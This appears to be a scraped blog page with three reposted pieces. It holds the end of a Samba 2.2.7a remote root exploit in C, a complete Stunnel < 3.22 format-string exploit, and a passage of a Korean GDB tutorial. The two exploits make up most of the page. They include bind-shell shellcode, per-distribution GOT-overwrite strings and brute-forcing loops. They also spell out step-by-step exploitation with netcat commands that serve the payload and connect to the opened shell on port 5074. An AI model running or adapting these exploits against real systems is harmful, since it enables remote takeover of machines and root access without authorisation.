    fprintf(stderr, "malloc() failed, aborting!\n");

    exit(-1);

  }


  construct_nbt_session_header(packet, SMB_SESSION, 0, pktsize - sizeof (struct nbt_session_header));

  construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_TCONX, 8, 1, 0, pid, uid, 1);

  construct_tconx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));


  if ((size = write(fd, packet, pktsize)) == -1)

  { close(fd);

    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

    exit(-errno);

  }


  free(packet);


  if (size != pktsize)

  { close(fd);

    fprintf(stderr, "couldn't write entire packet, aborting!\n");

    exit(-1);

  }  

}


void process_tconx_reply(int fd)

{ struct nbt_session_header *nbt_hdr;

  struct smb_base_header *base_hdr;

  struct tconx_reply_header *tx_hdr;

  char packet[1024];

  int size, bytecount;

    

// lees het packet

  if ((size = read(fd, packet, sizeof (packet))) == -1)

  { close(fd);

    fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno);

    exit(-errno);

  }


  nbt_hdr = (struct nbt_session_header *)packet;

  base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));

  tx_hdr = (struct tconx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));


  memcpy(&tid, &base_hdr->tid, sizeof (uint16));

  memcpy(&bytecount, &tx_hdr->bytecount, sizeof (uint16));


  printf("tree connect complete, got assigned tid %i\n", tid);

}


void nttrans_primary_request(int fd)

{ char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + 

    sizeof (struct nttrans_primary_request_header)];

  struct nttrans_primary_request_header nt_hdr;


  int size, function = SMB_NTTRANSCREATE, totalparamcount = TOTALCOUNT, totaldatacount = 0;

  uint8 setupcount = 0;


  memset(&nt_hdr, '\0', sizeof (nt_hdr));


  construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));

  construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NTTRANS1, 8, 1, tid, pid, uid, 1);


  nt_hdr.wordcount = 19 + setupcount;

  memcpy(&nt_hdr.function, &function, sizeof (uint16));


  memcpy(&nt_hdr.totalparamcount, &totalparamcount, sizeof (uint32));

  memcpy(&nt_hdr.totaldatacount, &totaldatacount, sizeof (uint32));


  memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header), &nt_hdr, sizeof (nt_hdr));


  if ((size = write(fd, packet, sizeof (packet))) == -1)

  { close(fd);

    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

    exit(-errno);

  }

  if (size != sizeof (packet))

  { close(fd);

    fprintf(stderr, "couldn't write entire packet, aborting!\n");

    exit(-1);

  }  

}


// hier gaat het gebeuren.

/* 

struct nttrans_secondary_request_header

{ uint8 pad[3], totalparamcount[4], totaldatacount[4], paramcount[4], paramoffset[4], paramdisplace[4],

    datacount[4], dataoffset[4], datadisplace[4];

}; */

void nttrans_secondary_request(int fd)

{ char retbuf[TOTALCOUNT], packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +

    sizeof (struct nttrans_secondary_request_header) + TOTALCOUNT];

  struct nttrans_secondary_request_header nt_hdr;

  unsigned long retaddr, jmptocode = 0x9090a1eb; // jmptocode = 0x90909ceb;

  int i;


  int size, totalparamcount = TOTALCOUNT, totaldatacount = 0,   

    paramcount = TOTALCOUNT, datacount = 0, paramdisplace = STACKBASE - PARAMBASE,

    datadisplace = 0, paramoffset = 68, dataoffset = 0;


  memset(&nt_hdr, '\0', sizeof (nt_hdr));

  retaddr = 0xbffff6eb;

  for (i = 0; i < TOTALCOUNT; i += 4) 

  { if (i == 0x100)

    { memcpy(retbuf + i, &jmptocode, 4);

    }

    else memcpy(retbuf + i, &retaddr, 4);

  }


//  memset(shellcode, 0xCC, sizeof (shellcode));

  memcpy(retbuf + 0x100 - sizeof (shellcode), shellcode, sizeof (shellcode));


  printf("sizeof packet: %i, parambase: 0x%08lx\n", sizeof (packet), PARAMBASE);


  construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));

  construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NTTRANS2, 8, 1, tid, pid, uid, 1);

  

  memcpy(&nt_hdr.totalparamcount, &totalparamcount, sizeof (uint32));

  memcpy(&nt_hdr.totaldatacount, &totaldatacount, sizeof (uint32));

  memcpy(&nt_hdr.paramcount, &paramcount, sizeof (uint32));

  memcpy(&nt_hdr.datacount, &datacount, sizeof (uint32));

  memcpy(&nt_hdr.paramdisplace, &paramdisplace, sizeof (uint32));

  memcpy(&nt_hdr.datadisplace, &datadisplace, sizeof (uint32));

  memcpy(&nt_hdr.paramoffset, &paramoffset, sizeof (uint32));

  memcpy(&nt_hdr.dataoffset, &dataoffset, sizeof (uint32));

   

  memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header), &nt_hdr, sizeof (nt_hdr));

  memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (nt_hdr), retbuf, sizeof (retbuf));


  usleep(5000);

  

  if ((size = write(fd, packet, sizeof (packet))) == -1)

  { close(fd);  

    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno);

    exit(-errno);

  }

  if (size != sizeof (packet))

  { close(fd);

    fprintf(stderr, "couldn't write entire packet, aborting!\n");

    exit(-1);

  }

  fprintf(stderr, "secondary nttrans packet sent!\n");

}


// voor alle idioten onder ons.

void usage(char *name)

{ printf("\nusage: %s -h hostname [-p port] -t target [-l]\n\n-h\tspecify target hostname\n-p\tspecify target " \

   "port (defaults to 139)\n-t\tspecify target's magic numbers\n-l\tshow list of targets\n\n", name);

}


void userbreak_handler(int x)

{ userbreak = 1;

}


int main(int argc, char **argv)

{ int fd, port = -1, opt, readlen;

  unsigned long target_ip;

  struct sockaddr_in s_in;

  struct hostent *he;

  char *host = NULL, *me, readbuf[4096];

  fd_set readfds;


  if (argc >= 1) 

  { me = argv[0];

    if (strchr(me, '/') != NULL) me = strrchr(me, '/') + 1;

  }

  else me = "sambash";


  fprintf(stderr, "\nsambash -- samba <= 2.2.7a reply_nttrans() linux x86 remote root exploit by flatline@blackhat.nl\n\n");


  while ((opt = getopt(argc, argv, "h:p:b:")) != EOF)

  { switch (opt)

    { case 'h': { if (!inet_aton(optarg, (struct in_addr *)&target_ip))

 { if ((he = gethostbyname(optarg)) == NULL)

   { fprintf(stderr, "unable to resolve host '%s', reason: %s (code %i)\n", optarg, hstrerror(h_errno), h_errno);

     exit(-h_errno);

   }

   memcpy((void *)&target_ip, he->h_addr_list[0], he->h_length);

         }

 host = optarg;

} break;

      case 'p': { port = atoi(optarg);

         if (port < 0 || port > 65535)

 { fprintf(stderr, "invalid port specified.\n");

   exit(-1);

 }

  } break;

      case 'b': PARAMBASE += atoi(optarg); break;

      default : { usage(me);

 exit(0);

} break;

    }

  }


  if (host == NULL)

  { fprintf(stderr, "no hostname specified.\n");

    usage(me);

    exit(-1);

  }

  if (port == -1) port = SMBD_PORT;


  signal(SIGINT, userbreak_handler);


  while (!userbreak)

  { memset(&s_in, 0, sizeof (s_in));

    s_in.sin_family = AF_INET;

    s_in.sin_port = htons(port);

    s_in.sin_addr.s_addr = target_ip;


    if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)

    { fprintf(stderr, "socket() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

      exit(-errno);

    }


    if (connect(fd, (struct sockaddr *)&s_in, sizeof (s_in)) == -1)

    { fprintf(stderr, "connect() to host '%s:%i' failed, reason: '%s' (code %i)\n", host, port, strerror(errno), errno); 

      exit(-errno);

    }


    // register name

    nbt_session_request(fd, "BOSSA", "SAMBA");

    process_nbt_session_reply(fd);


    // protocol negotiation

    negprot_request(fd);

    process_negprot_reply(fd);


    // session setup

    sesssetupx_request(fd);

    process_sesssetupx_reply(fd);


    // tree connection setup

    tconx_request(fd);

    process_tconx_reply(fd);


    // nttrans packet sturen

    nttrans_primary_request(fd);


    nttrans_secondary_request(fd);


    usleep(750000);


    if (close(fd) == -1)

    { fprintf(stderr, "close() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

      exit(-errno);

    }


    memset(&s_in, 0, sizeof (s_in));

    s_in.sin_family = AF_INET;

    s_in.sin_port = htons(SHELLCODE_PORT);

    s_in.sin_addr.s_addr = target_ip;


    if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)

    { fprintf(stderr, "socket() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

      exit(-errno);

    }


    if (connect(fd, (struct sockaddr *)&s_in, sizeof (s_in)) == -1)

    { if (close(fd) == -1)

      { fprintf(stderr, "close() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

        exit(-errno);

      }

      PARAMBASE += BRUTESTEP;

      continue;

    }

    

    printf("\n\n** veel plezier.\n\n");

    

    FD_ZERO(&readfds);

    while (!userbreak)

    { FD_SET(fileno(stdin), &readfds);

      FD_SET(fd, &readfds);

    

      if (select(fd + 1, &readfds, NULL, NULL, NULL) < 0)

      { fprintf(stderr, "shell loop aborted because of error code %i ('%s')\n", errno, strerror(errno));

        break;

      }

      

      if (FD_ISSET(fileno(stdin), &readfds))

      { int writelen;

   

        readlen = read(fileno(stdin), readbuf, sizeof (readbuf));

        if (readlen == -1)

        { fprintf(stderr, "read() failed with error code %i ('%s')\n", errno, strerror(errno));

          exit(-1);

        }

        if ((writelen = write(fd, readbuf, readlen)) == -1)

        { fprintf(stderr, "write() failed with error code %i ('%s')\n", errno, strerror(errno));

          exit(-1);

        }

        FD_ZERO(&readfds);

        continue;

      }

      if (FD_ISSET(fd, &readfds))

      { if ((readlen = read(fd, readbuf, sizeof (readbuf))) == -1)

        { fprintf(stderr, "shell loop aborted because of error code %i ('%s')\n", errno, strerror(errno));

          break;

        }

        write(fileno(stderr), readbuf, readlen);

        FD_ZERO(&readfds);   

        continue;

      }

    }


  }


  printf("user break.\n");

  signal(SIGINT, SIG_DFL);


  return 0;

}


Posted by k1rha
2012. 5. 11. 09:47

/*

* Stunnel < 3.22 remote exploit

* by ^sq/w00nf - deltha [at] analog.ro

* Contact: deltha@analog.ro

* Webpage: http://www.w00nf.org/^sq/

*

* ey ./w00nf-stunnel contribs - kewlthanx :

* nesectio, wsxz, soletario, spacewalker, robin, luckyboy, hash, nobody, ac1d, and not @ the end: bajkero

*

* You also need netcat and format strings build utility (from my webpage)

* Compile: gcc -w -o w00nf-stunnel w00nf-stunnel.c

*

* . . .. ......................................... ...

* . ____ ____ _____ :.:.:

* : _ __/ __ \/ __ \____ / __/ :..

* :.. | | /| / / / / / / / / __ \/ /_ :

* ..:.. | |/ |/ / /_/ / /_/ / / / / __/ :

* :.: :.. |__/|__/\____/\____/_/ /_/_/ .

* : : :..

* :.: :............................................... .. . . 

* T . E . A . M 

* POC - Tested remotely on linux 

* Stunnel is a program that allows you to encrypt arbitrary TCP connections inside SSL 

* Visit http://www.stunnel.org for details

*

* I didn't add a search function or bruteforce attack because the vulnerability does'nt allow you

* to grab the remote stack.

*

* Description of this exploit:

* This exploit puts a payload on a specified port. When a remote user connects to your machine 

* using stunnel on the specified port, the exploit executes this payload and binds a shell to the

* remote users machine on port 5074.

* Summary: 

* Malicious servers could potentially run code as the owner of an Stunnel process when using 

* Stunnel's protocol negotiation feature in client mode. 

*

* Description of vulnerability: 

* Stunnel is an SSL wrapper able to act as an SSL client or server, 

* enabling non-SSL aware applications and servers to utilize SSL encryption. 

* In addition, Stunnel has the ability to perform as simple SSL encryption/decryption 

* engine. Stunnel can negotiate SSL with several other protocols, such as 

* SMTP's "STARTTLS" option, using the '-n protocolname' flag. Doing so 

* requires that Stunnel watches the initial protocol handshake before 

* beginning the SSL session. 

* There are format string bugs in each of the smtp, pop, and nntp 

* client negotiations as supplied with Stunnel versions 3.3 up to 3.21c. 

*

* No exploit is currently known, but the bugs are most likely exploitable. 

* Impact: 

* If you use Stunnel with the '-n smtp', '-n pop', '-n nntp' options 

* in client mode ('-c'), a malicous server could abuse the format 

* string bug to run arbitrary code as the owner of the Stunnel 

* process. The user that runs Stunnel depends on how you start 

* Stunnel. It may or may not be root -- you will need to check 

* how you invoke Stunnel to be sure. 

* There is no vulnerability unless you are invoking Stunnel with 

* the '-n smtp', '-n pop', or '-n nntp' options in client mode. 

* There are no format string bugs in Stunnel when it is running as an SSL 

* server. 

*

* Mitigating factors: 

* If you start Stunnel as root but have it change userid to some other 

* user using the '-s username' option, the Stunnel process will be 

* running as 'username' instead of root when this bug is triggered. 

* If this is the case, the attacker can still trick your Stunnel process 

* into running code as 'username', but not as root. 

* Where possible, we suggest running Stunnel as a non-root user, either 

* using the '-s' option or starting it as a non-privileged user. 

*

* Triggering this vulnerability - example for kidz:

* Obtain a shell account on to-be-hacked's server and perform the following commands:

* sq@cal013102: whereis stunnel

* stunnel: /usr/sbin/stunnel

* change directory to where is stunnel

* Obtain vsnprintf's R_386_JUMP_SLOT:

* sq@cal013102:~/stunnel-3.20$ /usr/bin/objdump --dynamic-reloc ./stunnel |grep printf

* 08053470 R_386_JUMP_SLOT fprintf

* ---->080534a8 R_386_JUMP_SLOT vsnprintf

* 080535a4 R_386_JUMP_SLOT snprintf

* 08053620 R_386_JUMP_SLOT sprintf

* open 2 terminals

* in the first terminal make netcat connect to a port (eg 252525)

* sq@cal013102:~/stunnel-3.20$ nc -p 252525 -l 

* in the second terminal (remote) simulate attack 

* ./stunnel -c -n smtp -r localhost:252525

* in the first terminal with nc insert a specially crafted string to grep eatstack value

* AAAABBBB%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|

* in the second terminal (remote) it will return the stack values and see at which position 

* 41414141 and 424242 appeared

* AAAABBBB|bffff868|bffffb60|bffffece|bffffed3|80503ae|40275580|4016bfc4|

* 4027f3c4|41414141|42424242|257c7825|78257c78|7c78257c|

* 257c7825|78257c78|7c78257c| ->414141=9 and 424242=10

* try again with to see if eatstack value is 9 AAAABBBB%9$x%10$x and it will return AAAABBBB4141414142424242

* put the address obtained with objdump in hex little endian format \xa8\x34\x05\x08 and last value +2 \xaa\x34\x05\x08

* (a8+2=aa) and generate the decimal value of format string after you got the middle of nops value on stack 0xbffff89b

* with build, a program attached to this exploit.

* ./build 080534a8 0xbffff89b 9

* adr : 134558888 (80534a8)

* val : -1073743717 (bffff89b)

* valh: 49151 (bfff)

* vall: 63643 (f89b)

* [ª¨%.49143x%9$hn%.14492x%10$hn] (35)

* ª¨%.49143x%9$hn%.14492x%10$hn

* The resulting string is %.49143x%9$hn%.14492x%10$hn -> 

* "'`%.32759u%9\$hn%.32197u%10\$hn replace eatstack 10 with 9 otherwise it won't work

* eg "'`%.32759u%10\$hn%.32197u%9\$hn

* Put the payload in a file echo `perl -e 'print "\xc4\x35\x05\x08\xc6\x35\x05\x08"'`%.32759u%10\$hn%.32197u%9\$hn > x

* Bind the payload to a port ./netcat -p 252525 -l <x

* Simulate the payload attack ./stunnel -c -n smtp -r localhost:252525

* Add your own crafted format in the exploit:

* char fmtDEBIAN30[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn"; 080534a8 vsnprintf

* char fmtYOUROWN[]=""; R_386_JUMP_SLOT vsnprintf 

* Simulate the payload attack with this exploit ./w00nf-stunnel -t 6 -p 252525 t6 would be your custom payload

* after you added your string in the exploit.

* If stunnel was compiled with gdb support and you set ulimit -c 9024 or whatever to coredump on your terminal

* then stunnel will coredump if you didn't guess the exact stackvalue in the middle of nops.

* If stunnel wasn't compiled with gdb support then download it from the stunnel website

* and compile with gdb support. 

* Once you have downloaded it run './configure edit Makefile' , and where you see 'CFLAGS' add '-g -ggdb3'

* eg. 'cat Makefile |grep CFLAGS'

* CFLAGS=-g -ggdb3 -O2 -Wall -I/usr/local/ssl/include -DVERSION=\"3.20\" -DHAVE_OPENSSL=1 -Dssldir=\"/usr/local/ssl\"

* -DPEM_DIR=\"\" -DRANDOM_FILE=\"/dev/urandom\" -DSSLLIB_CS=0 -DHOST=\"i586-pc-linux-gnu\" -DHAVE_LIBDL=1 

* DHAVE_LIBPTHREAD=1 -DHAVE_LIBUTIL=1 -DHAVE_LIBWRAP=1 etcetc

* Open core in gdb sq@cal013102:~/stunnel-3.20$gdb ./stunnel core.2411

* x/10i $esp and press enter a couple of times till you find 'nop nop nop nop nop nop'.

* Get the stack address in the middle of nops, 0xbffff89b is my address

* and build (9 is eatstack) again with the ./build utility

* Rebuild and repeat.

* ./build 080534a8 0xbffff89b 9

* Put the payload in a file echo `perl -e 'print "\xc4\x35\x05\x08\xc6\x35\x05\x08"'`%.32759u%10\$hn%.32197u%9\$hn > x

* ./w00nf-stunnel -t 6 -p 252525 t6 is your custom payload and it will bind a shell on 5074 :)

* If it worked then add your own crafted format in the exploit

* char fmtDEBIAN30[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn"; 080534a8 vsnprintf

* char fmtYOUROWN[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn"; R_386_JUMP_SLOT vsnprintf 

*

*/


#include <fcntl.h>

#include <netdb.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <unistd.h>

#include <stdio.h>

#include <string.h>

#include <getopt.h>

#include <stdlib.h>

#include <memory.h>

#include <errno.h>

#include <syslog.h>


int MAX;

char linuxshellcode[] =

/* <priv8security>: bind@5074 */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90\x90" /* nop */

"\x31\xc0" /* xor %eax,%eax */

"\x50" /* push %eax */

"\x40" /* inc %eax */

"\x89\xc3" /* mov %eax,%ebx */

"\x50" /* push %eax */

"\x40" /* inc %eax */

"\x50" /* push %eax */

"\x89\xe1" /* mov %esp,%ecx */

"\xb0\x66" /* mov $0x66,%al */

"\xcd\x80" /* int $0x80 */

"\x31\xd2" /* xor %edx,%edx */

"\x52" /* push %edx */

"\x66\x68\x13\xd2" /* pushw $0xd213 */

"\x43" /* inc %ebx */

"\x66\x53" /* push %bx */

"\x89\xe1" /* mov %esp,%ecx */

"\x6a\x10" /* push $0x10 */

"\x51" /* push %ecx */

"\x50" /* push %eax */

"\x89\xe1" /* mov %esp,%ecx */

"\xb0\x66" /* mov $0x66,%al */

"\xcd\x80" /* int $0x80 */

"\x40" /* inc %eax */

"\x89\x44\x24\x04" /* mov %eax,0x4(%esp,1) */

"\x43" /* inc %ebx */

"\x43" /* inc %ebx */

"\xb0\x66" /* mov $0x66,%al */

"\xcd\x80" /* int $0x80 */

"\x83\xc4\x0c" /* add $0xc,%esp */

"\x52" /* push %edx */

"\x52" /* push %edx */

"\x43" /* inc %ebx */

"\xb0\x66" /* mov $0x66,%al */

"\xcd\x80" /* int $0x80 */

"\x93" /* xchg %eax,%ebx */

"\x89\xd1" /* mov %edx,%ecx */

"\xb0\x3f" /* mov $0x3f,%al */

"\xcd\x80" /* int $0x80 */

"\x41" /* inc %ecx */

"\x80\xf9\x03" /* cmp $0x3,%cl */

"\x75\xf6" /* jne 80a035d <priv8security+0x3d> */

"\x52" /* push %edx */

"\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */

"\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */

"\x89\xe3" /* mov %esp,%ebx */

"\x52" /* push %edx */

"\x53" /* push %ebx */

"\x89\xe1" /* mov %esp,%ecx */

"\xb0\x0b" /* mov $0xb,%al */

"\xcd\x80"; /* int $0x80 */


char fmtRH72[]="\x50\x71\x05\x08\x52\x71\x05\x08%.49143x%4\$hn%.12881x%3\$hn"; /* 08057150 R_386_JUMP_SLOT vsnprintf */

char fmtRH73[]="\xe8\x69\x05\x08\xea\x69\x05\x08%.49143x%4\$hn%.12982x%3\$hn"; /* 080569e8 R_386_JUMP_SLOT vsnprintf */

char fmtRH80[]="\x28\x69\x05\x08\x2a\x69\x05\x08%.49143x%4\$hn%.12815x%3\$hn"; /* 08056928 R_386_JUMP_SLOT vsprintf */

char fmtMDK90[]="\xf8\x23\x05\x08\xfa\x23\x05\x08%.49143x%4\$hn%.13321x%3\$hn"; /* 080523f8 R_386_JUMP_SLOT vsnprintf */

char fmtSLACK81[]="\xdc\x69\x05\x08\xde\x69\x05\x08%.49143x%10\$hn%.12082x%9\$hn"; /* 080569dc R_386_JUMP_SLOT vsnprintf */

char fmtDEBIAN30[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn"; /* 080534a8 R_386_JUMP_SLOT vsnprintf */

char fmtYOUROWN[]=""; /* R_386_JUMP_SLOT vsnprintf */


char c;

struct os {

int num;

char *ost;

char *shellcode;

char *format;

int flag;

};


struct os plat[] =

{

{

0,"Red Hat Linux release 7.2 stunnel-3.20.tar.gz",

linuxshellcode,fmtRH72,11

},

{

1,"Red Hat Linux release 7.3 stunnel-3.20.tar.gz",

linuxshellcode,fmtRH73,11

},

{

2,"Red Hat Linux release 8.0 stunnel-3.20.tar.gz",

linuxshellcode,fmtRH80,11

},

{

3,"Mandrake Linux release 9.0 stunnel-3.20.tar.gz",

linuxshellcode,fmtMDK90,11

},

{

4,"Slackware Linux release 8.1 stunnel-3.20.tar.gz",

linuxshellcode,fmtSLACK81,5

},

{

5,"Debian GNU release 3.0 stunnel-3.20.tar.bz2",

linuxshellcode,fmtDEBIAN30,5

},

{

6,"Your custom distro stunnel-3.20.tar.bz2",

linuxshellcode,fmtYOUROWN,5

}


};


void usage(char *argument);

int main(argc,argv)

int argc;

char *argv[];

{


int type=0;

int flag=plat[type].flag;

extern char *optarg;

int cnt;

char newstring[300];

int port = 994;

const char* sploitdata_filename = "sploitdata.spl"; 

static int fd[2];

static pid_t childpid;

static char str_port[6];


void write_sploit_data (char* entry)

{

int fd = open (sploitdata_filename, O_WRONLY | O_CREAT | O_APPEND, 0660);

write (fd, entry, strlen (entry));

write (fd, "\n", 1);

fsync (fd);

close (fd);

}

if(argc == 1) 

usage(argv[0]);

if(argc == 2) 

usage(argv[0]);

if(argc == 3) 

usage(argv[0]);

while ((c = getopt(argc, argv, "h:p:t:v")) > 0 ){

switch (c) {

case 't':

type = atoi(optarg);

if(type>6) /* 0,1,2,3,4,5,6 */

{

(void)usage(argv[0]);

}

break;

case 'p':

port = atoi(optarg);

break;

case 'h':

usage(argv[0]);

case '?':

case ':':

exit(-1);

}

}

MAX=strlen(plat[type].format)+strlen(plat[type].shellcode);

fprintf(stdout,"Remote exploit for STUNNEL <3.22\nby ^sq/w00nf - deltha [at] analog.ro\n");

fprintf(stdout,"[*] target: %s\n",plat[type].ost);

fprintf(stdout,"[*] maxlenght: %d\n", MAX);

unlink (sploitdata_filename);

strcpy(newstring, plat[type].format);

strcat(newstring, plat[type].shellcode);

write_sploit_data(newstring);

sprintf((char *) &str_port, "%d", port);

printf("[*] host: localhost\n");

printf("[*] port: %s\n", str_port); 

printf("[*] waiting: jackass should connect to our port\n");

printf("[*] next: after he connects press ctrl-c\n"); 

printf("[*] next: you should try to connect to his port 5074 - nc 1.2.3.4 5074\n"); 

pipe(fd);

if (( childpid=fork())==0) { /* cat is the child */

dup2(fd[1],STDOUT_FILENO);

close(fd[0]);

close(fd[1]);

execl("/bin/cat","cat",sploitdata_filename,NULL);

perror("The exec of cat failed");

} else { /* netcat is the parent */


dup2(fd[0], STDIN_FILENO);

close(fd[0]);

close(fd[1]);

execl("/usr/bin/nc", "nc", "-n", "-l", "-p", str_port, NULL);

perror("the exec of nc failed");

}

printf("[*] next: now you should try to connect to his port 5074\n"); 

exit(0);

}


void usage(char *argument)

{

fprintf(stdout,"Usage: %s -options arguments\n",argument);

fprintf(stdout,"Remote exploit for STUNNEL <3.22\n"

"by ^sq/w00nf - deltha [at] analog.ro\nUsage: %s [-p <port> -t <targettype>]\n"

"\t-p <port> - Local binded port where the remote stunnel connects\n"

"\t-t <target> - Target type number\n", argument);

fprintf(stdout,"\t-Target Type Number List-\n");

fprintf(stdout," {0} Red Hat Linux release 7.2 "

" stunnel-3.20.tar.gz\n");

fprintf(stdout," {1} Red Hat Linux release 7.3 "

" stunnel-3.20.tar.gz\n");

fprintf(stdout," {2} Red Hat Linux release 8.0 "

" stunnel-3.20.tar.gz\n");

fprintf(stdout," {3} Mandrake Linux release 9.0 "

" stunnel-3.20.tar.gz\n");

fprintf(stdout," {4} Slackware Linux release 8.1 "

" stunnel-3.20.tar.gz\n");

fprintf(stdout," {5} Debian GNU release 3.0 "

" stunnel-3.20.tar.gz\n");

fprintf(stdout," {6} Your custom distro "

" stunnel-3.20.tar.gz\n");

fprintf(stdout," Example1: %s -t 1 -p 252525\n",argument);

exit(0);

}


Posted by k1rha
2012. 5. 6. 18:45

[출처 ]  http://blog.naver.com/endfirst?Redirect=Log&logNo=20003426603

링크를 다오려다가 복사해서 옵니다. 


GDB 사용하기

 

1.    GDB

 

GDB같은 디버거의 목적은 다른 프로그램 수행 중에  프로그램 내부에서’ 무슨 일이 일어나고 있는지 보여주거나 프로그램이 잘못 실행되었을  무슨 일이 일어나고 있는지 보여주는것이다. GDBC, C++, Modula-2  프로그램을 디버그   있다.

쉘에서 gdb GDB 시작하면 quit 종료명령을 주기전까지는 터미널로부터 명령라인을 읽어 들인다. help명령을 사용하여 gdb내부에서 도움말을   있다.

디버깅을 하기 위해서는 –g옵션을 주고 컴파일/링크 해야 한다만약 링크가 libg.a 찾을 없다고 하면서 실패하게 되면, /usr/lib/ligb.a 갖고 있지 않기 때문이다 파일은 특별한 라이브러리로서 디버깅 가능 C라이브러리이다. libc 패키지에 포함되어 있거나 또는 libc소스 코드를 받아서 컴파일 하면 생긴다. /usr/lib/libc.a /usr/lib/libg.a 링크 시켜도 된다.

 

l         코어파일 분석하기

 

코어파일은 충돌할 당시 프로세스의 메모리 이미지를 덤프한 것이다코어파일을 gdb 함께사용하여 프로그램의 상태를 조사하고 실패 원인을 규명할  있다어떤 예기치 않은 일이발생하여 비정상적인 종료가 발생할  운영체계는 디스크에 코어 파일을 남긴다.메모리에 관한 문제는 Checker 패키지를 사용하여 예방할  있다하지만 메모리 fault 일으키는 경우에는 충돌하면서 파일을 덤프한다코어파일은 일반적으로 프로세스를 실행시킨 현재 작업디렉토리에 생성되지만 프로그램 내에서 작업 디렉토리를 바꾸는 경우도 있다.

 

보통 리눅스는 부팅시에 코어 파일을 만들지 않도록 세팅되어 있다코어 파일 생성을 가능케하려고 한다면 그것을 다시 가능케 하는 셀의 내장 명령을 사용한다.

만약C 호환 (tcsh) 쓰고 있다면 다음과 같이 명령을 내린다.

%  limit core unlimited

만약 본쉘류( sh , bash , zsh , pdksh ) 사용하고 있다면,

$  ulimit –c unlimited

 같은 명령을 내린다.

코어파일을 함께 사용하기 위해선 다음과 같이 한다.

% gdb program core

 

 

 

l         실행 중인 프로그램 디버깅하기

 

gdb 이미 실행중인 프로그램도 디버깅할  있게 해준다프로세스 실행을 가로채고 조사한  다시 원래 상태로 실행하도록   있다. attach명령을 사용하여 실행중인 프로세서에 gdb 붙인다. attach 명령을 사용하기 위해서는 프로세스에 해당하는 실행 프로그램에허가권을 가지고 있어야 한다예를 들어 프로세스 ID 254번으로 실행 중인 pgmseq 프로그램이 있다면 다음과 같이 한다.

% gdb pgmseq

% attach 254

다음과 같이 해도 된다.

% gdb pgmseq 254

 

일단 gdb 실행 중인 프로세스에 부착되면 프로그램을 일시 중지 시키고 gdb명령을 사용할 있도록 제어권을 가져온다. break 사용하여 중지점을 사용할  있고 중지점에 이를 때까지 실행하도록 continue 명령을 사용할  있다.

detach명령을 사용하여 gdb 실행 중인 프로세스에서 떼어 낸다필요에 따라 다른 프로세스에 대하여 attach명령을 사용할  있다.

 

2.    gdb시작하기

 

% gdb                       - gdb 먼저 실행 file이라는 명령으로 program 부른다.

% gdb  program          - 일반적인 방법이다.

% gdb  program  core  - 코어파일을 사용할  동시에 인자로 준다.

% gdb  program  1234  - 실행중인 프로세스를 디버그 하려면 프로세스 ID  번째 인자로 주면 된다 명령은 gdb (‘1234’  이름의 파일이 없다면프로세스 1234 접속시킨다.(gdb core파일을 먼저 찾는다.)

 

실행절차

%  gcc  –g  test.c  –o  test

%  gdb  test

 명령을 실행하면 다음과 같은 메시지가 나타난다.

% gdb test

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

Welcome to change it and/or distribute copies of it under certain conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB.  Type “show warranty” for details.

This GDB was configured as “i386-redhat-linux”...

(gdb)

 

3.    많이 사용하는 GDB명령어

 

list

현재 위치에서 소스 파일의 내용을 10 보여준다

list 2, 15 : 소스 파일의2 ~ 15 까지를 보여준다.

run

프로그램을 시작한다.(break 있다면 break까지 실행)

run arg : 새로운 인수를 가지고 프로그램을 시작한다.

arg “*” “[…]” 포함할 수도 있다.

쉘의 사용까지도 확장될  있다.

“<”,“>” , “>>”같은 입출력 방향 재지정기호도 또한 허용된다.

break

